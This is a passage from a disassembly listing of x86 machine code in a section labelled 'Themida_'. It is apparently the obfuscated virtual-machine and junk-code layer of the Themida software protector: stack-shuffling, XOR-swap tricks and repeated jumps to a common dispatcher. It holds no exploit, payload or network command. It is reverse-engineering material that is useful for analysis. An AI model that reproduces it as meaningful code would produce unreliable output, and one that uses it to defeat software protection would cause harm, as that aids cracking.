14CC38DAh pop ebx jmp loc_554B3A ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 0FFEA39E9h db 0FFh ; --------------------------------------------------------------------------- loc_5598D1: ; CODE XREF: Themida_:0055410Cj push eax mov eax, 3EEB4F35h or eax, 68481F30h push edx mov edx, 36E21332h inc edx inc edx xor edx, 6DA761Dh jmp loc_5574B8 ; --------------------------------------------------------------------------- loc_5598EF: ; CODE XREF: Themida_:00555CFCj add edi, 4 xchg edi, [esp] pop esp add eax, 4 push ebx mov ebx, 2 add eax, ebx pop ebx xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] or [esp], ax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55991D: ; CODE XREF: Themida_:00551992j xor ecx, 430A29DBh push eax mov eax, 3A901E5Ch xor ecx, eax pop eax neg ecx push eax mov eax, 0AC523D2h add ecx, eax pop eax sub ebx, ecx mov ecx, [esp] jmp loc_55115E ; --------------------------------------------------------------------------- loc_559941: ; CODE XREF: Themida_:00553D65j add ebp, edi pop edi push eax jmp loc_55AA47 ; --------------------------------------------------------------------------- loc_55994A: ; CODE XREF: Themida_:0055A8DCj add dword ptr [esp], 4 pop edi sub esp, 4 mov [esp], eax push 4 pop eax sub edi, 5FE4430Bh add edi, eax add edi, 5FE4430Bh pop eax add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_557420 ; --------------------------------------------------------------------------- loc_559981: ; CODE XREF: Themida_:00556F64j mov [esp], eax mov al, 0FAh push cx mov ch, 0EAh jmp loc_552412 ; --------------------------------------------------------------------------- loc_55998F: ; CODE XREF: Themida_:00551B4Bj push ecx jmp loc_559F6E ; --------------------------------------------------------------------------- loc_559995: ; CODE XREF: Themida_:00559875j xchg ebx, [esp] mov esp, [esp] push 21C0h jmp loc_54F60D ; --------------------------------------------------------------------------- loc_5599A5: ; CODE XREF: Themida_:00550BEBj mul cx push small 2001h mov [esp], dx push ax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5599B8: ; CODE XREF: Themida_:0055031Cj add esp, 4 jmp loc_553BB0 ; --------------------------------------------------------------------------- loc_5599C0: ; CODE XREF: Themida_:00557DD6j add ebx, esi pop esi push edi mov edi, 4 add ebx, 0D745BB0h add ebx, edi sub ebx, 0D745BB0h pop edi jmp loc_55847A ; --------------------------------------------------------------------------- loc_5599DD: ; CODE XREF: Themida_:00559105j mov [esp], ebx push 2A454DF5h jmp loc_55B07C ; --------------------------------------------------------------------------- loc_5599EA: ; CODE XREF: Themida_:0054EE2Fj mov ebx, [esp] add esp, 4 sub dword ptr [esp+4], 3DC9698Bh push esi mov esi, 47B93A20h sub [esp+8], esi mov esi, [esp] add esp, 4 mov eax, [esp] add esp, 4 jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_559A16: ; CODE XREF: Themida_:0055A414j mov [esp], ebp mov ebp, 4E8E04C7h jmp loc_551F7D ; --------------------------------------------------------------------------- mov cx, [esp] push ebp jmp loc_554CAC ; --------------------------------------------------------------------------- loc_559A2D: ; CODE XREF: Themida_:005507C6j sub esp, 4 mov [esp], eax mov eax, esp jmp loc_5504AE ; --------------------------------------------------------------------------- loc_559A3A: ; CODE XREF: Themida_:00559B4Bj pop esp jmp loc_556AD2 ; --------------------------------------------------------------------------- loc_559A40: ; CODE XREF: Themida_:005536A9j mov ebx, 4 jmp loc_55A271 ; --------------------------------------------------------------------------- loc_559A4A: ; CODE XREF: Themida_:0055B0C4j inc dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 xor [edi+24h], ebp xor ebp, [edi+24h] push ecx mov ecx, 24h add ecx, edi xor [ecx], ebp pop ecx loc_559A65: ; CODE XREF: Themida_:0055ABDAj push 72FFh jmp loc_55A294 ; --------------------------------------------------------------------------- loc_559A6F: ; CODE XREF: Themida_:005528F6j mov esp, [esp] jmp loc_55286B ; --------------------------------------------------------------------------- loc_559A77: ; CODE XREF: Themida_:00553379j mov esp, [esp] jmp loc_552B29 ; --------------------------------------------------------------------------- loc_559A7F: ; CODE XREF: Themida_:00551124j mov edi, 2 jmp loc_552F4C ; --------------------------------------------------------------------------- loc_559A89: ; CODE XREF: Themida_:0055A3A0j add edi, ebx pop ebx add edi, 2 xchg edi, [esp] jmp loc_5501E2 ; --------------------------------------------------------------------------- loc_559A9A: ; CODE XREF: Themida_:0055569Bj pop ebx push 3088h mov [esp], ebx mov bl, 0DFh jmp loc_55977F ; --------------------------------------------------------------------------- loc_559AAA: ; CODE XREF: Themida_:00555748j sub al, 0D9h inc al jmp loc_54EC49 ; --------------------------------------------------------------------------- loc_559AB3: ; CODE XREF: Themida_:00555232j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_54F416 ; --------------------------------------------------------------------------- loc_559AC1: ; CODE XREF: Themida_:00550119j mov edi, 68E40339h add edi, 971BFCCBh add eax, 7BB42A4Fh add eax, edi sub eax, 7BB42A4Fh pop edi add eax, 2 sub esp, 4 mov [esp], eax push dword ptr [esp+4] mov eax, [esp] push edi mov edi, esp add edi, 4 push ebx push ebp mov ebp, 7D751E35h mov ebx, 7D751E39h sub ebx, ebp pop ebp add edi, ebx jmp loc_551BC7 ; --------------------------------------------------------------------------- loc_559B0B: ; CODE XREF: Themida_:005568F6j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_559B23: ; CODE XREF: Themida_:00559545j push eax mov eax, 217E7926h shr eax, 1 shr eax, 5 jmp loc_556E78 ; --------------------------------------------------------------------------- loc_559B33: ; CODE XREF: Themida_:00558EE6j pop esp mov eax, [esp] push 5E9Dh mov [esp], ebp push esp mov ebp, [esp] jmp loc_559C96 ; --------------------------------------------------------------------------- loc_559B48: ; CODE XREF: Themida_:0055380Dj xchg eax, [esp] jmp loc_559A3A ; --------------------------------------------------------------------------- loc_559B50: ; CODE XREF: Themida_:00557618j mov [esp], edi jmp loc_559FC9 ; --------------------------------------------------------------------------- loc_559B58: ; CODE XREF: Themida_:00557D17j sub al, 0C9h sub al, 0F9h add al, 0CAh jmp loc_55782C ; --------------------------------------------------------------------------- loc_559B63: ; CODE XREF: Themida_:0055ABA0j push 2F85h mov [esp], ebx mov ebx, esp add ebx, 4 push 14CBh jmp loc_5595E3 ; --------------------------------------------------------------------------- loc_559B7D: ; CODE XREF: Themida_:00554B0Bj sub ebp, 789F71CBh add ecx, ebp pop ebp jmp loc_551063 ; --------------------------------------------------------------------------- loc_559B8B: ; CODE XREF: Themida_:005539C2j pop ebp jmp loc_558A80 ; --------------------------------------------------------------------------- loc_559B91: ; CODE XREF: Themida_:005504A3j mov dl, cl jmp loc_550A08 ; --------------------------------------------------------------------------- loc_559B98: ; CODE XREF: Themida_:0054EC3Dj push 2239h mov [esp], esi mov esi, 4 jmp loc_553C56 ; --------------------------------------------------------------------------- loc_559BAA: ; CODE XREF: Themida_:0054FBA4j push 311Fh mov [esp], eax jmp loc_556829 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_553E81 ; --------------------------------------------------------------------------- loc_559BC0: ; CODE XREF: Themida_:00555AFCj push dword ptr [esp] pop esi add esp, 4 and eax, ecx mov ecx, [esp] add esp, 4 shr eax, 0Bh xor ecx, eax sub esp, 4 jmp loc_552657 ; --------------------------------------------------------------------------- loc_559BDC: ; CODE XREF: Themida_:0054F51Aj add esp, 4 jmp loc_551CB3 ; --------------------------------------------------------------------------- loc_559BE7: ; CODE XREF: Themida_:0055B229j pop ebp push edx mov edx, 3FFC7C64h jmp loc_557ED6 ; --------------------------------------------------------------------------- loc_559BF3: ; CODE XREF: Themida_:005576C4j pop esp mov [esp], edx push eax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_559BFE: ; CODE XREF: Themida_:00559885j mov [esp], ebp jmp loc_550FAD ; --------------------------------------------------------------------------- loc_559C06: ; CODE XREF: Themida_:0055AE78j xor eax, esi push dword ptr [esp] pop esi add esp, 4 push ecx push esi mov esi, 23962781h push esi jmp loc_5565AD ; --------------------------------------------------------------------------- loc_559C1C: ; CODE XREF: Themida_:00551334j mov esi, 2 mov ebx, esi pop esi add ecx, ebx pop ebx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_5520FB ; --------------------------------------------------------------------------- loc_559C35: ; CODE XREF: Themida_:0055636Cj and ecx, edx mov edx, [esp] add esp, 4 sub ecx, 13AA0440h and eax, ecx jmp loc_559D00 ; --------------------------------------------------------------------------- loc_559C4D: ; CODE XREF: Themida_:00556CE6j shr edx, 8 and edx, 176C086Fh inc edx push ebx mov ebx, 480864h sub edx, ebx pop ebx add esi, edx mov edx, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] bt [esp], ax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_559C7C: ; CODE XREF: Themida_:005559EEj mov [esp], ecx push ebp jmp loc_552E2D ; --------------------------------------------------------------------------- loc_559C85: ; CODE XREF: Themida_:00550E61j mov esp, [esp] jmp loc_550753 ; --------------------------------------------------------------------------- loc_559C8D: ; CODE XREF: Themida_:0055A870j mov [esp], edx push ebx jmp loc_553745 ; --------------------------------------------------------------------------- loc_559C96: ; CODE XREF: Themida_:00559B43j push ebx jmp loc_54F588 ; --------------------------------------------------------------------------- loc_559C9C: ; CODE XREF: Themida_:00555898j jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_559CA1: ; CODE XREF: Themida_:0055AE99j add esp, 4 add esp, 4 and eax, ecx push dword ptr [esp] mov ecx, [esp] jmp loc_551547 ; --------------------------------------------------------------------------- loc_559CB4: ; CODE XREF: Themida_:00554501j pop eax add edx, 5834861h add edx, edi push ecx mov ecx, 5834861h sub edx, ecx pop ecx jmp loc_558E67 ; --------------------------------------------------------------------------- loc_559CCB: ; CODE XREF: Themida_:00550570j pop esp push dword ptr [esp] mov eax, [esp] add esp, 4 push esi mov esi, esp jmp loc_5544D0 ; --------------------------------------------------------------------------- loc_559CDD: ; CODE XREF: Themida_:005566F6j xor esi, [esp] jmp loc_55B212 ; --------------------------------------------------------------------------- loc_559CE5: ; CODE XREF: Themida_:00559D9Ej mov cl, 0Dh xor ah, cl pop ecx xor ah, 23h jmp loc_553D74 ; --------------------------------------------------------------------------- loc_559CF2: ; CODE XREF: Themida_:0055274Aj push esi mov esi, esp add esi, 4 jmp loc_54F443 ; --------------------------------------------------------------------------- loc_559D00: ; CODE XREF: Themida_:00559C48j mov ecx, [esp] add esp, 4 jmp loc_55A757 ; --------------------------------------------------------------------------- loc_559D0B: ; CODE XREF: Themida_:005555AFj add esp, 4 not edi push eax mov eax, 699F1868h or edi, eax pop eax sub edi, 66451F0Dh sub edi, 95927C6Dh sub esp, 4 mov [esp], edi pop ebx push dword ptr [esp] pop edi push edi mov edi, esp jmp loc_55ABC2 ; --------------------------------------------------------------------------- loc_559D3B: ; CODE XREF: Themida_:00558E13j xor ch, al sub al, 1 xchg al, ch jmp loc_5521AF ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push ebx mov ebx, esp jmp loc_555E48 ; --------------------------------------------------------------------------- mov ax, [esp] push 3FD7h jmp loc_54FC63 ; --------------------------------------------------------------------------- loc_559D60: ; CODE XREF: Themida_:0054F55Ej sub esp, 4 mov [esp], edi push esp jmp loc_559218 ; --------------------------------------------------------------------------- lodsb xor al, bl push ebp push esp jmp loc_550A75 ; --------------------------------------------------------------------------- loc_559D76: ; CODE XREF: Themida_:00555095j sub edi, 1 shl edi, 3 add edi, 0A3328959h sub ebp, edi pop edi push ebp mov edx, [esp] add esp, 4 pop ebp push ebx mov ebx, 0C41F4B4h xor edx, ebx pop ebx jmp loc_559DAE ; --------------------------------------------------------------------------- loc_559D9B: ; CODE XREF: Themida_:005577B6j mov [esp], ecx jmp loc_559CE5 ; --------------------------------------------------------------------------- loc_559DA3: ; CODE XREF: Themida_:00557D10j mov ebx, [esp] push edi mov edi, esp jmp loc_553973 ; --------------------------------------------------------------------------- loc_559DAE: ; CODE XREF: Themida_:00559D96j xor eax, edx pop edx push 3B04h mov [esp], ebp jmp loc_557613 ; --------------------------------------------------------------------------- loc_559DBE: ; CODE XREF: Themida_:00556A1Ej inc ch shr ch, 4 sub ch, 15h mov dl, ch pop ecx jmp loc_55AE59 ; --------------------------------------------------------------------------- loc_559DCE: ; CODE XREF: Themida_:00555A77j push ecx push esp jmp loc_5572FA ; --------------------------------------------------------------------------- loc_559DD5: ; CODE XREF: Themida_:00554915j add eax, 10CB210Fh add eax, esi sub eax, 10CB210Fh mov esi, [esp] add esp, 4 jmp loc_553291 ; --------------------------------------------------------------------------- loc_559DEC: ; CODE XREF: Themida_:0054FEECj push 0 jmp loc_5581FF ; --------------------------------------------------------------------------- loc_559DF6: ; CODE XREF: Themida_:00554D5Dj push ecx jmp loc_55916F ; --------------------------------------------------------------------------- loc_559DFC: ; CODE XREF: Themida_:005563C3j add ebx, 4 jmp loc_551B27 ; --------------------------------------------------------------------------- loc_559E07: ; CODE XREF: Themida_:0055449Ej add ebp, 4 add ebp, 4 jmp loc_55A7D7 ; --------------------------------------------------------------------------- loc_559E18: ; CODE XREF: Themida_:00556B31j push esi mov esi, esp jmp loc_5566ED ; --------------------------------------------------------------------------- loc_559E20: ; CODE XREF: Themida_:0055211Dj add bl, al push ecx jmp loc_5545EF ; --------------------------------------------------------------------------- loc_559E28: ; CODE XREF: Themida_:00553889j add al, ch jmp loc_54EB39 ; --------------------------------------------------------------------------- loc_559E2F: ; CODE XREF: Themida_:00557ABAj mov ecx, esp add ecx, 4 push esi mov esi, 4 add ecx, esi jmp loc_558C43 ; --------------------------------------------------------------------------- loc_559E44: ; CODE XREF: Themida_:0055728Dj mov edi, edx pop edx mov ecx, 75374A50h xor ecx, edi pop edi add ecx, 15F23FD6h sub ecx, 452A7FD5h add ecx, edx jmp loc_553E3C ; --------------------------------------------------------------------------- loc_559E62: ; CODE XREF: Themida_:0055A10Cj jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_559E67: ; CODE XREF: Themida_:0054EDE7j sub eax, edi mov edi, [esp] add esp, 4 sub eax, 60EC4B48h and eax, 454B5F62h sub eax, 1415500h sub edi, 72F00A32h jmp loc_556BEC ; --------------------------------------------------------------------------- mov cx, [esp] push ebx push esp pop ebx jmp loc_554E27 ; --------------------------------------------------------------------------- loc_559E98: ; CODE XREF: Themida_:0055497Fj add ebp, esi push dword ptr [esp] pop esi add esp, 4 jmp loc_55543D ; --------------------------------------------------------------------------- loc_559EA9: ; CODE XREF: Themida_:005561FCj mov esi, [esp] jmp loc_550F8E ; --------------------------------------------------------------------------- loc_559EB1: ; CODE XREF: Themida_:00552AA6j push edi push ebp mov ebp, 1A077BCEh jmp loc_55AE1C ; --------------------------------------------------------------------------- loc_559EBD: ; CODE XREF: Themida_:00551778j push 344F79FAh pop ebx add ebx, 3D81D85Fh jmp loc_556C41 ; --------------------------------------------------------------------------- loc_559ECE: ; CODE XREF: Themida_:005596AEj push 4AC7h mov [esp], edx mov dl, 0E5h push ebx mov bl, 5Fh add bl, 0E2h sub bl, 99h not bl push edx jmp loc_55725B ; --------------------------------------------------------------------------- loc_559EE9: ; CODE XREF: Themida_:005533DDj mov bl, al jmp loc_5503C9 ; --------------------------------------------------------------------------- loc_559EF0: ; CODE XREF: Themida_:005535EEj pop ebx and ebx, 42330F7Ah jmp loc_558EF8 ; --------------------------------------------------------------------------- loc_559EFC: ; CODE XREF: Themida_:00556D8Cj jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_559F01: ; CODE XREF: Themida_:0054ECF1j mov [esp], ebp mov ebp, 1 push ecx push ebp jmp loc_55693F ; --------------------------------------------------------------------------- loc_559F10: ; CODE XREF: Themida_:005519B8j or edx, 23490531h push ebx jmp loc_552879 ; --------------------------------------------------------------------------- loc_559F1C: ; CODE XREF: Themida_:00553A9Bj pop esi xchg ecx, [esp] mov esp, [esp] push ebx mov ebx, esp jmp loc_55212D ; --------------------------------------------------------------------------- loc_559F2B: ; CODE XREF: Themida_:00552DD2j dec ebp dec ebp inc ebp add ebp, 246D7ECAh jmp loc_553BFA ; --------------------------------------------------------------------------- loc_559F39: ; CODE XREF: Themida_:00550FF1j sub bl, 0CAh jmp loc_55957C ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 jmp loc_54FE2F ; --------------------------------------------------------------------------- loc_559F50: ; CODE XREF: Themida_:00554E10j mul ecx push 2E57h mov [esp], edx push eax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_559F61: ; CODE XREF: Themida_:00551A59j mov edi, esp add edi, 4 jmp loc_55835F ; --------------------------------------------------------------------------- loc_559F6E: ; CODE XREF: Themida_:00559990j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp or [edi+1Ch], esi push dword ptr [esp] mov esi, [esp] add esp, 4 push esi mov esi, esp add esi, 4 push edi jmp loc_54F280 ; --------------------------------------------------------------------------- loc_559F9B: ; CODE XREF: Themida_:00555A1Ej mov ebx, esp add ebx, 4 jmp loc_558529 ; --------------------------------------------------------------------------- loc_559FA8: ; CODE XREF: Themida_:005519CDj pop ebx jmp loc_5544FF ; --------------------------------------------------------------------------- loc_559FAE: ; CODE XREF: Themida_:0055A488j push esi mov esi, 70434958h neg esi and esi, 0C546BBFh sub esi, 5A397721h not esi jmp loc_5521EC ; --------------------------------------------------------------------------- loc_559FC9: ; CODE XREF: Themida_:00559B53j mov edi, 295F549Ch xchg ebp, edi dec ebp xchg ebp, edi dec edi not edi push ebx mov ebx, 29D3620h and ebx, 31650989h and ebx, 7EFD1D37h and ebx, 73A3153Ah add ebx, 59AD4A2Eh add edi, ebx pop ebx push edx mov edx, esp jmp loc_5593C3 ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55A006: ; CODE XREF: Themida_:00557AA5j pop bx jmp loc_55A799 ; --------------------------------------------------------------------------- loc_55A00D: ; CODE XREF: Themida_:0054F52Cj xor dword ptr [esp], 332A2154h mov edi, [esp] add esp, 4 xor edi, 332A2154h pop esi add ebx, 182846DFh add ebx, edi sub ebx, 182846DFh pop edi sub esp, 4 mov [esp], ecx push edi jmp loc_5579CE ; --------------------------------------------------------------------------- loc_55A03C: ; CODE XREF: Themida_:0055345Cj mov [esp], esp add dword ptr [esp], 4 pop ebx push edi jmp loc_54EAAB ; --------------------------------------------------------------------------- loc_55A04D: ; CODE XREF: Themida_:00553868j xor ebp, 4A034EBCh push ebx push esi mov esi, 729E2C72h mov ebx, 3D5B6158h xor ebx, esi pop esi xor ebx, 92F5DA22h jmp loc_55058C ; --------------------------------------------------------------------------- loc_55A06D: ; CODE XREF: Themida_:00558AEFj inc cl or cl, 72h shl cl, 7 neg cl jmp loc_55001F ; --------------------------------------------------------------------------- loc_55A07C: ; CODE XREF: Themida_:005521A0j xor esi, 52B5BBBh jmp loc_557C6F ; --------------------------------------------------------------------------- loc_55A087: ; CODE XREF: Themida_:005505DDj push edx mov edx, 4 jmp loc_5567FD ; --------------------------------------------------------------------------- loc_55A092: ; CODE XREF: Themida_:005531FBj xor edx, 1D6E01CDh add edx, 19D5094Bh shl edx, 8 neg edx jmp loc_550D7A ; --------------------------------------------------------------------------- loc_55A0A8: ; CODE XREF: Themida_:00557A2Ej not cl push eax mov al, cl neg al mov cl, al pop eax jmp loc_54FF40 ; --------------------------------------------------------------------------- loc_55A0B7: ; CODE XREF: Themida_:00555F8Dj not ecx xchg ecx, ebx neg ebx inc ebx xor ebx, 0C8C40943h mov edx, ebx mov ebx, [esp] add esp, 4 push ebx jmp loc_551818 ; --------------------------------------------------------------------------- loc_55A0D2: ; CODE XREF: Themida_:00553BF5j pop esi dec edx sub edx, 1EE2282Bh sub ecx, edx pop edx xchg ecx, [esp] jmp loc_555BB7 ; --------------------------------------------------------------------------- mov sp, [esp] jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55A0EE: ; CODE XREF: Themida_:00553620j shr ch, 8 jmp loc_54F54F ; --------------------------------------------------------------------------- loc_55A0F6: ; CODE XREF: Themida_:0054EF55j push ebx jmp loc_55778D ; --------------------------------------------------------------------------- loc_55A0FC: ; CODE XREF: Themida_:0055641Ej xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov [esp], ax jmp loc_559E62 ; --------------------------------------------------------------------------- loc_55A111: ; CODE XREF: Themida_:00556ACDj not esi not esi xor esi, 1E3B503Ch not esi jmp loc_54F1E7 ; --------------------------------------------------------------------------- loc_55A122: ; CODE XREF: Themida_:00557B9Bj push ecx push esp jmp loc_54F17C ; --------------------------------------------------------------------------- loc_55A129: ; CODE XREF: Themida_:0054FBD1j mov bl, 0C3h add bl, 43h shr bl, 1 sub bl, 9Eh shr bl, 3 not bl add bl, 0ADh or dl, bl pop ebx neg dl push ecx mov cl, 1Dh jmp loc_55A85B ; --------------------------------------------------------------------------- loc_55A148: ; CODE XREF: Themida_:0054EBD1j sub edi, ecx sub edi, 28132ED0h pop ecx mov ebp, edi pop edi sub ebp, 79831865h xor ebp, 77F33B8Ah add ebp, 6701D7C4h add eax, ebp mov ebp, [esp] add esp, 4 jmp loc_5593D5 ; --------------------------------------------------------------------------- loc_55A173: ; CODE XREF: Themida_:0055567Fj inc dh neg dh inc dh push eax mov al, 8Eh sub al, 10h shl al, 2 shr al, 5 add al, 0B2h add al, 0E6h xor al, 9Dh or dh, al pop eax xor dh, 0A1h jmp loc_553CDD ; --------------------------------------------------------------------------- loc_55A195: ; CODE XREF: Themida_:0055AE7Fj sub esi, 0B080E6DBh sub edx, esi jmp loc_553EA3 ; --------------------------------------------------------------------------- push dword ptr [esp] mov edx, [esp] jmp loc_54EFA8 ; --------------------------------------------------------------------------- loc_55A1AD: ; CODE XREF: Themida_:005514BFj push esi xor dword ptr [esp], 5EDE3BB6h jmp loc_5561F1 ; --------------------------------------------------------------------------- loc_55A1BA: ; CODE XREF: Themida_:0055AD0Dj sub ebx, 43453D39h jmp loc_5578A6 ; --------------------------------------------------------------------------- loc_55A1C5: ; CODE XREF: Themida_:005578A1j and ebp, 18DA0304h jmp loc_551359 ; --------------------------------------------------------------------------- loc_55A1D0: ; CODE XREF: Themida_:00554D3Dj xchg esi, [esp] pop esp mov [esp], ecx jmp loc_55A723 ; --------------------------------------------------------------------------- loc_55A1DC: ; CODE XREF: Themida_:00555191j mov ebx, eax mov edi, ebx pop ebx pop eax jmp loc_5562B9 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_554E55 ; --------------------------------------------------------------------------- loc_55A1EE: ; CODE XREF: Themida_:00550B63j push dword ptr [esp] mov esi, [esp] add esp, 4 push edi mov edi, esp add edi, 4 jmp loc_5544A3 ; --------------------------------------------------------------------------- loc_55A208: ; CODE XREF: Themida_:0055132Ej pop ebx sub ecx, 0AC40493Ch mov ebx, ecx jmp loc_54F138 ; --------------------------------------------------------------------------- loc_55A216: ; CODE XREF: Themida_:00557641j xchg edi, [esp] mov esp, [esp] mov [esp], esi mov esi, 4 jmp loc_550D6A ; --------------------------------------------------------------------------- loc_55A229: ; CODE XREF: Themida_:00552859j push ebx mov ebx, 5F52580Bh not ebx push ebx not dword ptr [esp] pop ebx and ebx, 116354A4h not ebx add ebx, 11425005h add edi, ebx pop ebx jmp loc_54F0A5 ; --------------------------------------------------------------------------- loc_55A24C: ; CODE XREF: Themida_:005535E3j xchg ecx, [esp] jmp loc_5538C5 ; --------------------------------------------------------------------------- loc_55A254: ; CODE XREF: Themida_:00558288j pop ecx sub esi, 221F2D3Bh not esi jmp loc_55A951 ; --------------------------------------------------------------------------- loc_55A262: ; CODE XREF: Themida_:00554FE1j xor ebp, ecx jmp loc_54FDC8 ; --------------------------------------------------------------------------- loc_55A269: ; CODE XREF: Themida_:00555BE9j sub esp, 4 jmp loc_552AD7 ; --------------------------------------------------------------------------- loc_55A271: ; CODE XREF: Themida_:00559A45j add ecx, 21162888h jmp loc_5591B5 ; --------------------------------------------------------------------------- loc_55A27C: ; CODE XREF: Themida_:00557395j mov ebp, [esp] push 36C1h mov [esp], ecx mov ecx, esp push edx mov edx, 4 jmp loc_55A303 ; --------------------------------------------------------------------------- loc_55A294: ; CODE XREF: Themida_:00559A6Aj mov [esp], ebx sub dword ptr [esp], 0FDB3F03h mov eax, [esp] jmp loc_550955 ; --------------------------------------------------------------------------- loc_55A2A6: ; CODE XREF: Themida_:0054FD55j push 0C40h jmp loc_555A23 ; --------------------------------------------------------------------------- loc_55A2B0: ; CODE XREF: Themida_:005589A1j push esi push 42B8688Ah push dword ptr [esp] pop esi add esp, 4 shr esi, 4 jmp loc_556704 ; --------------------------------------------------------------------------- loc_55A2C8: ; CODE XREF: Themida_:00557D4Fj inc ebx push ebp mov ebp, 869AFBCh jmp loc_54F84F ; --------------------------------------------------------------------------- loc_55A2D4: ; CODE XREF: Themida_:00552050j push cx mov ch, 62h xor ah, ch pop cx push ecx mov ch, 0D4h neg ch xor ch, 30h add ah, ch pop ecx jmp loc_555E07 ; --------------------------------------------------------------------------- loc_55A2EC: ; CODE XREF: Themida_:005570BDj pop ebp shl esi, 5 shl esi, 3 not esi add esi, 72602C05h add eax, esi pop esi jmp loc_557C3F ; --------------------------------------------------------------------------- loc_55A303: ; CODE XREF: Themida_:0055A28Fj add ecx, edx pop edx push edx mov edx, 4 sub ecx, 4DBC70A7h add ecx, edx add ecx, 4DBC70A7h jmp loc_559711 ; --------------------------------------------------------------------------- loc_55A31F: ; CODE XREF: Themida_:005596F2j add edx, eax pop eax jmp loc_54FA03 ; --------------------------------------------------------------------------- loc_55A327: ; CODE XREF: Themida_:00557FD2j add ebp, eax pop eax xor ebp, 2D26F6E5h add ecx, ebp pop ebp push ebx mov ebx, 4 sub ecx, ebx pop ebx xchg ecx, [esp] pop esp mov [esp], edi jmp loc_556F85 ; --------------------------------------------------------------------------- loc_55A348: ; CODE XREF: Themida_:00553488j mov ebp, esp add ebp, 4 jmp loc_557AAA ; --------------------------------------------------------------------------- loc_55A355: ; CODE XREF: Themida_:0055A3CDj push esi mov esi, 0C520C56Ch xor ebx, esi pop esi jmp loc_558799 ; --------------------------------------------------------------------------- loc_55A363: ; CODE XREF: Themida_:00553860j or dl, ch mov ecx, [esp] add esp, 4 dec dl xor dl, 31h add al, 12h sub al, dl sub al, 12h pop edx push ecx jmp loc_5502FA ; --------------------------------------------------------------------------- loc_55A380: ; CODE XREF: Themida_:00550FD5j add eax, 58BB44EFh pop ecx push 1281h jmp loc_55A979 ; --------------------------------------------------------------------------- loc_55A390: ; CODE XREF: Themida_:00557408j mov eax, 0E570692h jmp loc_553EC8 ; --------------------------------------------------------------------------- loc_55A39A: ; CODE XREF: Themida_:0054F7A3j push ebx mov ebx, 4 jmp loc_559A89 ; --------------------------------------------------------------------------- loc_55A3A5: ; CODE XREF: Themida_:00558794j push eax jmp loc_54F295 ; --------------------------------------------------------------------------- loc_55A3AB: ; CODE XREF: Themida_:0054F435j pop esi xchg edx, [esp] jmp loc_555D52 ; --------------------------------------------------------------------------- loc_55A3B4: ; CODE XREF: Themida_:0055862Aj sub [esp], cl mov cl, [esp] sub esp, 4 mov [esp], eax jmp loc_5571F3 ; --------------------------------------------------------------------------- loc_55A3C5: ; CODE XREF: Themida_:0055779Ej add ebx, 27E101AFh not ebx jmp loc_55A355 ; --------------------------------------------------------------------------- loc_55A3D2: ; CODE XREF: Themida_:0055978Bj add bl, ch jmp loc_555734 ; --------------------------------------------------------------------------- loc_55A3D9: ; CODE XREF: Themida_:0055416Cj push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_55238C ; --------------------------------------------------------------------------- loc_55A3E6: ; CODE XREF: Themida_:00554668j add eax, 4 jmp loc_5531C8 ; --------------------------------------------------------------------------- loc_55A3F0: ; CODE XREF: Themida_:00558BDDj shr ebx, 8 jmp loc_551CBB ; --------------------------------------------------------------------------- push ebx push 0AE4h mov [esp], edx jmp loc_5553B4 ; --------------------------------------------------------------------------- loc_55A406: ; CODE XREF: Themida_:0055A51Cj add esi, 4CF7B4EFh sub edx, esi pop esi push 4976h jmp loc_559A16 ; --------------------------------------------------------------------------- loc_55A419: ; CODE XREF: Themida_:00550127j mov [esp], ebp push esp jmp loc_558B4B ; --------------------------------------------------------------------------- loc_55A422: ; CODE XREF: Themida_:00556555j sub edx, ebp pop ebp add edx, ebx push edi mov edi, 6C56790Ah add edx, edi pop edi jmp loc_55AD5D ; --------------------------------------------------------------------------- loc_55A435: ; CODE XREF: Themida_:0055788Dj pop esi sub eax, 74970E7Dh jmp loc_551184 ; --------------------------------------------------------------------------- loc_55A440: ; CODE XREF: Themida_:0054FC75j mov ecx, esp jmp loc_553347 ; --------------------------------------------------------------------------- loc_55A447: ; CODE XREF: Themida_:00558789j pop edi shl edx, 4 sub edx, 647009C5h add ecx, edx mov edx, [esp] add esp, 4 add edx, ecx pop ecx add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] shr ecx, 7 push 3624h mov [esp], edx push esi mov esi, 1B8525BEh sub esp, 4 mov [esp], ecx jmp loc_559FAE ; --------------------------------------------------------------------------- loc_55A48D: ; CODE XREF: Themida_:00554590j mov ebp, esi pop esi push ecx jmp loc_54EA95 ; --------------------------------------------------------------------------- loc_55A496: ; CODE XREF: Themida_:0054FFFCj mov esp, [esp] add edi, ebx pop ebx shr edi, 7 and edi, 6C3F1930h push esi mov esi, 62B0B85h add esi, 29FE593Fh shr esi, 5 or esi, 19040C14h xor esi, 0A242CDEh jmp loc_555F42 ; --------------------------------------------------------------------------- loc_55A4C5: ; CODE XREF: Themida_:00555C4Fj sub esp, 4 mov [esp], edi jmp loc_55259D ; 